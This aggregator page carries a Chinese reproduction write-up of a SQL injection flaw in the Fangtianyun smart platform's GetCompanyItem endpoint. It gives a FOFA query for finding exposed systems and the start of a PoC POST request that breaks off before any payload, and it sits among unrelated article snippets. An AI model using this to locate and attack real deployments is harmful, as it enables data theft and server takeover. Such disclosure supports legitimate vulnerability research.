当前位置： 首页 > news >正文

方天云智慧平台系统 GetCompanyItem SQL注入漏洞复现

news 2026/4/3 14:44:00

0x01 产品简介

方天云智慧平台系统，作为方天科技公司的重要产品，是一款面向企业全流程的业务管理功能平台，集成了ERP（企业资源规划）、MES（车间执行系统）、APS（先进规划与排程）、PLM（产品生命周期）、CRM（客户关系管理）等多种功能模块，旨在通过云端服务为企业提供数字化、智能化的管理解决方案。

0x02 漏洞概述

方天云智慧平台系统 GetCompanyItem 接口存在SQL注入漏洞，未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

0x03 复现环境

FOFA：body="AjaxMethods.asmx/GetCompanyItem"

0x04 漏洞复现

PoC

POST /AjaxMethods.asmx/GetCompanyItem HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=

相关文章：

方天云智慧平台系统 GetCompanyItem SQL注入漏洞复现

0x01 产品简介 方天云智慧平台系统，作为方天科技公司的重要产品，是一款面向企业全流程的业务管理功能平台，集成了ERP（企业资源规划）、MES（车间执行系统）、APS（先进规划与排程）、PLM（产品生命周期）、CRM（客户关系管理）等多种功能模块，旨在通过云端服务为企业提供…...

编程日记 2024/7/30 18:00:52

C语言同时在一行声明指针和整型变量

如果这么写， int *f, g; 并没有声明2个指针，编译器自己会识别，f是一个指针，g是一个整型变量； void CTszbView::OnDraw(CDC* pDC) {CTszbDoc* pDoc GetDocument();ASSERT_VALID(pDoc);// TODO: add draw code for nat…...

编程日记 2024/7/30 17:59:51

thinkphp框架远程代码执行

一、环境 vulfocus网上自行下载 启动命令： docker run -d --privileged -p 8081:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP192.168.131.144 8e55f85571c8 一定添加--privileged不然只能拉取环境首页不显示 二、thinkphp远程代码执行 首页&a…...

编程日记 2024/7/30 17:57:49

【公式】博弈论中的核心算法：纳什均衡公式解析

博弈论中的核心算法：纳什均衡公式解析 纳什均衡的基本概念 纳什均衡是博弈论中的一个核心概念，它描述了一个博弈中所有参与者都无法通过单方面改变自己的策略来增加收益的状态。在纳什均衡状态下，每个参与者的策略都是对其他参与者策略的最优反应。纳什均衡的公式可以表示…...

编程日记 2024/7/30 17:51:40

计算机网络面试题2

WebSocket相关知识 什么是WebSocket? WebSocket是一种基于TCP连接的全双工通信协议，即客户端和服务器可以同时发送和接收数据 WebSocket和HTTP有什么区别？ 1.WebSocket是双向通信协议，HTTP是单向通信协议 2.WebSocket使用ws://或者wss:/…...

编程日记 2024/7/30 17:49:35

Linux网络——深入理解传入层协议TCP

目录 一、前导知识 1.1 TCP协议段格式 1.2 TCP全双工本质 二、三次握手 2.1 标记位 2.2 三次握手 2.3 捎带应答 2.4 标记位 RST 三、四次挥手 3.1 标记位 FIN 四、确认应答(ACK)机制 五、超时重传机制 六 TCP 流量控制 6.1 16位窗口大小 6.2 标记位 PSH 6.3 标记…...

编程日记 2024/7/30 17:48:34

快速搞定分布式RabbitMQ---RabbitMQ进阶与实战

本篇内容是本人精心整理；主要讲述RabbitMQ的核心特性；RabbitMQ的环境搭建与控制台的详解；RabbitMQ的核心API；RabbitMQ的高级特性;RabbitMQ集群的搭建；还会做RabbitMQ和Springboot的整合；内容会比较多&#…...

编程日记 2024/7/30 17:44:29

5万字长文吃透快手大数据面试题及参考答案（持续更新）

目录 Flink为什么用aggregate()不用process() 为什么使用aggregate() 为什么不用process() 自定义UDF, UDTF实现步骤，有哪些方法？UDTF中的ObjectInspector了解吗？ 自定义UDF实现步骤 自定义UDTF实现步骤 UDTF中的ObjectInspector Spark Streaming和Flink的区别 Flu…...

编程日记 2024/7/30 17:42:27

WordPress原创插件：启用关闭经典编辑器和小工具

WordPress原创插件：启用关闭经典编辑器和小工具 主要功能 如图所示，用于启用或禁用经典编辑器和经典小工具，以替代Gutenberg编辑器。 插件下载 https://download.csdn.net/download/huayula/89592822...

编程日记 2024/7/30 17:39:24

萝卜快跑：自动驾驶的先锋与挑战

萝卜快跑：自动驾驶的先锋与挑战 萝卜快跑作为自动驾驶领域的重要参与者，被视为自动驾驶的先锋。它代表了自动驾驶技术在实际应用中的重要突破，为人们的出行方式带来了革新。萝卜快跑的发展展示了自动驾驶技术的巨大潜力，如提高交通…...

编程日记 2024/7/30 17:37:20

得到xml所有label 名字和数量 get_xml_lab.py,get_json_lab.py

import os import xml.etree.ElementTree as ETrootdir2 r"F:\images3\xmls" file_list os.listdir(rootdir2) # 列出文件夹下所有的目录与文件# 初始化字典 classes_dict {}for file_name in file_list:path os.path.join(rootdir2, file_name)if os.path.isfi…...

编程日记 2024/7/30 17:35:17

数据结构算法-排序(二)

插入排序 插入排序核心 假设数组中的一部数据已经排好序，要插入的数据和这些数据进行比较，直到找到合适的位置插入新数据。 插入排序步骤 插入排序主要有以下步骤构成： 假设有序，我们假设**a[0]**已经排好序待插入的数据为a[j]…...

编程日记 2024/7/30 17:34:15

Linux安装与配置

下载VMware 首先我们需要下载一个叫VMware的软件： 进入官方下载，地址：https://www.vmware.com/cn/products/workstation-pro/workstation-pro-evaluation.html选择与自己电脑版本适配的VMware版本【 输入许可证密钥 MC60H-DWHD5-H80U9-6V85…...

编程日记 2024/7/30 17:32:13

AI赋能交通治理：非机动车监测识别技术在城市街道安全管理中的应用

引言 城市交通的顺畅与安全是城市管理的重要组成部分。非机动车如自行车、电动车、摩托车等在城市交通中扮演着重要角色，但同时也带来了管理上的挑战。尤其是在机动车道上误入非机动车的现象，不仅影响交通秩序，还可能引发交通事故。思通数科…...

编程日记 2024/7/30 17:31:12

水电站泄洪放水预警广播系统解决方案

一、背景 在现代水利工程管理中，水电站泄洪放水预警广播系统扮演着至关重要的角色。这一系统不仅关系到水电站的安全运行，也直接关系到下游地区人民群众的生命财产安全。因此，设计一套完善、高效、可靠的泄洪放水预警广播系统显得尤为必要。…...

编程日记 2024/7/30 17:30:09

【Django】ajax和django接口交互（获取新密码）

文章目录 一、需求1. 效果图 二、实验1. 写get接口后端2. 写html后端3. 写前端4. 测试 一、需求 1. 效果图 二、实验 1. 写get接口后端 写views import string import random def getnewpwd(request):words list(string.ascii_lowercasestring.ascii_uppercasestring.digi…...

编程日记 2024/7/30 17:28:07

Logback 日志打印导致程序崩溃的实战分析

在软件开发和运维中，日志记录是必不可少的一环，帮我们追踪程序的行为，定位问题所在。然而，有时日志本身却可能成为问题的根源。本文将通过一个真实的案例来探讨 Logback 日志系统中的一个常见问题，当并发量大&#xff…...

编程日记 2024/7/30 17:26:05

新加坡 Numen Cyber 与香港光环云数据有限公司达成战略合作

新加坡本土网络安全公司 Numen Cyber 宣布与香港光环云数据有限公司（简称“光环云香港”）建立战略合作伙伴关系。此次合作将重点放在云服务器和云服务业务场景的安全领域。 Numen Cyber，作为一家致力于为客户提供专业网络安全服务和一体化安…...

编程日记 2024/7/30 17:25:04

Laravel魔术方法：框架的隐秘力量

Laravel魔术方法：框架的隐秘力量 引言 Laravel是一个充满魔力的PHP框架，它通过许多巧妙的设计让Web开发变得简洁而优雅。在Laravel中，魔术方法（Magic Methods）是这些魔力的体现之一。魔术方法是PHP预定义的、可以在类…...

编程日记 2024/7/30 17:24:03

系统复习Java日志体系

一&#xff0c;我们采用硬编码体验一下几个使用比较多的日志 分别导入几种日志的 jar 包 <?xml version"1.0" encoding"UTF-8"?><project xmlns"http://maven.apache.org/POM/4.0.0" xmlns:xsi"http://www.w3.org/2001/XMLSch…...

编程日记 2024/7/30 17:23:01

Fluxion多语言支持终极指南：从.lang文件到本地化shell脚本的完整实现

Fluxion多语言支持终极指南&#xff1a;从.lang文件到本地化shell脚本的完整实现 【免费下载链接】fluxion Fluxion is a remake of linset by vk496 with enhanced functionality. 项目地址: https://gitcode.com/gh_mirrors/fl/fluxion Fluxion是一款功能强大的无线网…...

编程新知 2026/4/3 14:19:43

Text-Grab：重新定义本地化OCR工具的高效办公体验

Text-Grab&#xff1a;重新定义本地化OCR工具的高效办公体验 【免费下载链接】Text-Grab Use OCR in Windows quickly and easily with Text Grab. With optional background process and notifications. 项目地址: https://gitcode.com/gh_mirrors/te/Text-Grab 在数字…...

编程新知 2026/4/3 13:39:16

Llama-3.2V-11B-cot效果展示：漫画分镜连续性与叙事逻辑分析

Llama-3.2V-11B-cot效果展示&#xff1a;漫画分镜连续性与叙事逻辑分析 1. 模型能力概览 Llama-3.2V-11B-cot是基于Meta多模态大模型开发的专业级视觉推理工具&#xff0c;特别针对漫画分镜分析与叙事逻辑理解进行了深度优化。该模型在双卡4090环境下展现出强大的视觉推理能力…...

编程新知 2026/4/3 12:46:36

EB Garamond 12：终极免费复古字体完整使用指南与安装教程

EB Garamond 12&#xff1a;终极免费复古字体完整使用指南与安装教程 【免费下载链接】EBGaramond12 项目地址: https://gitcode.com/gh_mirrors/eb/EBGaramond12 EB Garamond 12是一款基于16世纪经典Garamond字体设计的开源免费字体&#xff0c;完美复刻文艺复兴时期的…...

编程新知 2026/4/3 12:36:34

7个必备OpenCore Legacy Patcher技巧：从基础安装到性能优化

7个必备OpenCore Legacy Patcher技巧&#xff1a;从基础安装到性能优化 【免费下载链接】OpenCore-Legacy-Patcher Experience macOS just like before 项目地址: https://gitcode.com/GitHub_Trending/op/OpenCore-Legacy-Patcher OpenCore Legacy Patcher是一款让老款…...

编程新知 2026/4/3 11:29:58

PX4飞控系统架构深度解析：从模块化设计到自主飞行实战

PX4飞控系统架构深度解析&#xff1a;从模块化设计到自主飞行实战 【免费下载链接】PX4-Autopilot PX4 Autopilot Software 项目地址: https://gitcode.com/gh_mirrors/px/PX4-Autopilot PX4作为开源无人机飞控系统的行业标准&#xff0c;为开发者提供了从多旋翼到固定翼…...

编程新知 2026/4/3 10:57:36

快速验证CNN结构：用快马平台一键生成手写数字识别原型

快速验证CNN结构&#xff1a;用快马平台一键生成手写数字识别原型 最近在学深度学习&#xff0c;想试试用卷积神经网络(CNN)做个手写数字识别的小项目。传统从零开始写代码太费时间了&#xff0c;光是搭环境、调参数就能折腾半天。后来发现InsCode(快马)平台能直接生成可运行的…...

编程新知 2026/4/3 10:31:21

千问3.5-2B网页版深度解析：前端上传逻辑、后端推理链路、JSON返回结构

千问3.5-2B网页版深度解析&#xff1a;前端上传逻辑、后端推理链路、JSON返回结构 1. 平台概述 千问3.5-2B是Qwen系列中的轻量级视觉语言模型&#xff0c;专为图片理解与文本生成任务优化设计。这个开箱即用的解决方案将复杂的AI能力封装成简单的网页交互&#xff0c;用户无需…...

编程新知 2026/4/3 9:52:56

5分钟搞定！OpenCode+Qwen3-4B本地AI编程助手一键部署教程

5分钟搞定&#xff01;OpenCodeQwen3-4B本地AI编程助手一键部署教程 1. 引言&#xff1a;为什么你需要一个本地AI编程助手&#xff1f; 想象一下这个场景&#xff1a;你正在开发一个核心功能模块&#xff0c;需要快速生成一段复杂的业务逻辑代码。你打开浏览器&#xff0c;准…...

编程新知 2026/4/3 8:57:59

闲鱼数据采集终极指南：零代码自动化抓取二手商品信息

闲鱼数据采集终极指南&#xff1a;零代码自动化抓取二手商品信息 【免费下载链接】xianyu_spider 闲鱼APP数据爬虫 项目地址: https://gitcode.com/gh_mirrors/xia/xianyu_spider 想要轻松获取闲鱼平台上的商品数据&#xff0c;却不想编写复杂的爬虫代码&#xff1f;xia…...

编程新知 2026/4/3 8:29:13